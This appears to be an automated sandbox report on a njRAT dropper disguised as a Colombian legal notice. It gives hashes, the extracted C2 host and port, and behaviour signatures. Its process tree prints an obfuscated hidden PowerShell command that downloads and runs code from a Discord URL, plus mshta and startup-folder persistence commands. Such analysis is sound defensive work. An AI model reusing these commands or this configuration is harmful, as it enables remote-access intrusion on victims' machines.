Analysis
-
max time kernel
147s -
max time network
147s -
platform
windows10_x64 -
resource
win10-en -
submitted
13-09-2021 15:49
Static task
static1
Behavioral task
behavioral1
Sample
SPOA Sistema Penal Oral Acusatorio Notificacion de requerimiento fiscal a su nombre por admision de denuncia.vbs.vbs
Resource
win7-en
General
-
Target
SPOA Sistema Penal Oral Acusatorio Notificacion de requerimiento fiscal a su nombre por admision de denuncia.vbs.vbs
-
Size
827B
-
MD5
5b4cbb9b11c79830351c9e2bf59c5a42
-
SHA1
98328f4e9da68649cb8c003b83f1123cfef91678
-
SHA256
e25d5a23459ac8a9dd459db9ff70b0553f256b6b074c3848bffa65886d6d9f24
-
SHA512
ced0b4a8a102be874860836fa674b07c0161352e3ac3066cd248f53c770948d54b098a6bc96128cddc92044028bc092edc0416dac72cdb96f67a75040e7df15f
Malware Config
Extracted
njrat
0.7NC
NYAN CAT
fuckand.duckdns.org:3016
30c67308ea73
-
reg_key
30c67308ea73
-
splitter
@!#&^%$
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 3 3248 powershell.exe -
Drops startup file 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 4000 set thread context of 4244 4000 powershell.exe aspnet_compiler.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 3248 powershell.exe 3248 powershell.exe 3248 powershell.exe 4000 powershell.exe 4000 powershell.exe 4000 powershell.exe -
Suspicious use of AdjustPrivilegeToken 35 IoCs
Processes:
powershell.exepowershell.exeaspnet_compiler.exedescription pid process Token: SeDebugPrivilege 3248 powershell.exe Token: SeDebugPrivilege 4000 powershell.exe Token: SeDebugPrivilege 4244 aspnet_compiler.exe Token: 33 4244 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 4244 aspnet_compiler.exe Token: 33 4244 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 4244 aspnet_compiler.exe Token: 33 4244 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 4244 aspnet_compiler.exe Token: 33 4244 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 4244 aspnet_compiler.exe Token: 33 4244 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 4244 aspnet_compiler.exe Token: 33 4244 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 4244 aspnet_compiler.exe Token: 33 4244 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 4244 aspnet_compiler.exe Token: 33 4244 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 4244 aspnet_compiler.exe Token: 33 4244 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 4244 aspnet_compiler.exe Token: 33 4244 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 4244 aspnet_compiler.exe Token: 33 4244 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 4244 aspnet_compiler.exe Token: 33 4244 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 4244 aspnet_compiler.exe Token: 33 4244 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 4244 aspnet_compiler.exe Token: 33 4244 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 4244 aspnet_compiler.exe Token: 33 4244 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 4244 aspnet_compiler.exe Token: 33 4244 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 4244 aspnet_compiler.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
WScript.exepowershell.exeWScript.execmd.exemshta.exepowershell.exedescription pid process target process PID 4000 wrote to memory of 3248 4000 WScript.exe powershell.exe PID 4000 wrote to memory of 3248 4000 WScript.exe powershell.exe PID 3248 wrote to memory of 1904 3248 powershell.exe WScript.exe PID 3248 wrote to memory of 1904 3248 powershell.exe WScript.exe PID 1904 wrote to memory of 3632 1904 WScript.exe cmd.exe PID 1904 wrote to memory of 3632 1904 WScript.exe cmd.exe PID 3632 wrote to memory of 1444 3632 cmd.exe mshta.exe PID 3632 wrote to memory of 1444 3632 cmd.exe mshta.exe PID 1444 wrote to memory of 4000 1444 mshta.exe powershell.exe PID 1444 wrote to memory of 4000 1444 mshta.exe powershell.exe PID 4000 wrote to memory of 4244 4000 powershell.exe aspnet_compiler.exe PID 4000 wrote to memory of 4244 4000 powershell.exe aspnet_compiler.exe PID 4000 wrote to memory of 4244 4000 powershell.exe aspnet_compiler.exe PID 4000 wrote to memory of 4244 4000 powershell.exe aspnet_compiler.exe PID 4000 wrote to memory of 4244 4000 powershell.exe aspnet_compiler.exe PID 4000 wrote to memory of 4244 4000 powershell.exe aspnet_compiler.exe PID 4000 wrote to memory of 4244 4000 powershell.exe aspnet_compiler.exe PID 4000 wrote to memory of 4244 4000 powershell.exe aspnet_compiler.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SPOA Sistema Penal Oral Acusatorio Notificacion de requerimiento fiscal a su nombre por admision de denuncia.vbs.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExEcUtIoNPoLiCy ByPAsS -wInDoWStYlE hIdDEn -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://cdn.discordapp.com/attachments/876945743724822550/884806965497319514/Cryp16.txt');$results2⤵
- Blocklisted process makes network request
- Drops startup file
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\SystemLogin.bat" "4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'"", 0:close")5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'6⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"7⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBSMD5
558a8b7b3fdef4ca79110f8cfd126694
SHA1d6e96ca27f701b3f4c24885dacd14c762a9d36b0
SHA25638c9b7098371b39e61a6dcf78370dddf47f4d2be2c32704a2a0310b76c52c0f7
SHA51237d6d72d5f518aaf1cf37154ed75aec7c7f11677508874eb3c3cbf44ca0ebeb22112dfa5f45a2f5d821604c521092ef768016d83f948444a9ff2e2a812d1c283
-
C:\Users\Admin\AppData\Roaming\SystemLogin.batMD5
7f85382953fde20b101039d48673dbd2
SHA15ebaa67f5862b2925d9029f4761b7e2ce9a99dd9
SHA256fde417ad1b13a97acfa8e409789a92c4c3ddf6303851337ca31b94bfac634e4f
SHA5126e93b74237844e1f78cd3ae64c0a00702c0b1aa1febda2feb52ca99b8a58ab2efd0c7b8351f040bf56a8bc1a8f5b1f57c4a9ffed46f8a2f9cba898e8e138ce46
-
C:\Users\Public\myScript.ps1MD5
d5270474d0976bb1cdca6f2b6319926c
SHA1b0787b2342c4e15daf7a8380087830d1073f6383
SHA2567c6c33f6849f6adf5a6384c9ec65ce7694fd101949c86350fd8902c7de233d70
SHA512219d4c1e2a2755ab671134a1ebf9ddb32c84cd7201e1d636c5c68e497fcb6fa40dd67718cdd5aeb6b8810f712ec0c473c31681a741a8c5dda175b1ff3c2d01f2
-
memory/1444-179-0x0000000000000000-mapping.dmp
-
memory/1904-175-0x0000000000000000-mapping.dmp
-
memory/3248-150-0x0000019565610000-0x0000019565611000-memory.dmpFilesize
4KB
-
memory/3248-157-0x0000019565026000-0x0000019565028000-memory.dmpFilesize
8KB
-
memory/3248-158-0x0000019565160000-0x0000019565162000-memory.dmpFilesize
8KB
-
memory/3248-151-0x0000019565020000-0x0000019565022000-memory.dmpFilesize
8KB
-
memory/3248-152-0x0000019565023000-0x0000019565025000-memory.dmpFilesize
8KB
-
memory/3248-115-0x0000000000000000-mapping.dmp
-
memory/3248-139-0x00000195651C0000-0x00000195651C1000-memory.dmpFilesize
4KB
-
memory/3248-120-0x000001954CCF0000-0x000001954CCF1000-memory.dmpFilesize
4KB
-
memory/3632-178-0x0000000000000000-mapping.dmp
-
memory/4000-187-0x00000299FB700000-0x00000299FB702000-memory.dmpFilesize
8KB
-
memory/4000-188-0x00000299FB703000-0x00000299FB705000-memory.dmpFilesize
8KB
-
memory/4000-181-0x0000000000000000-mapping.dmp
-
memory/4000-198-0x00000299FB6F0000-0x00000299FB6F2000-memory.dmpFilesize
8KB
-
memory/4000-203-0x00000299FB810000-0x00000299FB815000-memory.dmpFilesize
20KB
-
memory/4000-204-0x00000299FB706000-0x00000299FB708000-memory.dmpFilesize
8KB
-
memory/4000-205-0x00000299FB820000-0x00000299FB823000-memory.dmpFilesize
12KB
-
memory/4244-206-0x0000000000400000-0x000000000040C000-memory.dmpFilesize
48KB
-
memory/4244-207-0x000000000040676E-mapping.dmp
-
memory/4244-211-0x00000000052E0000-0x00000000052E1000-memory.dmpFilesize
4KB
-
memory/4244-212-0x0000000005880000-0x0000000005881000-memory.dmpFilesize
4KB
-
memory/4244-213-0x0000000005460000-0x0000000005461000-memory.dmpFilesize
4KB
-
memory/4244-214-0x0000000005380000-0x000000000587E000-memory.dmpFilesize
5.0MB
-
memory/4244-215-0x00000000053E0000-0x00000000053E1000-memory.dmpFilesize
4KB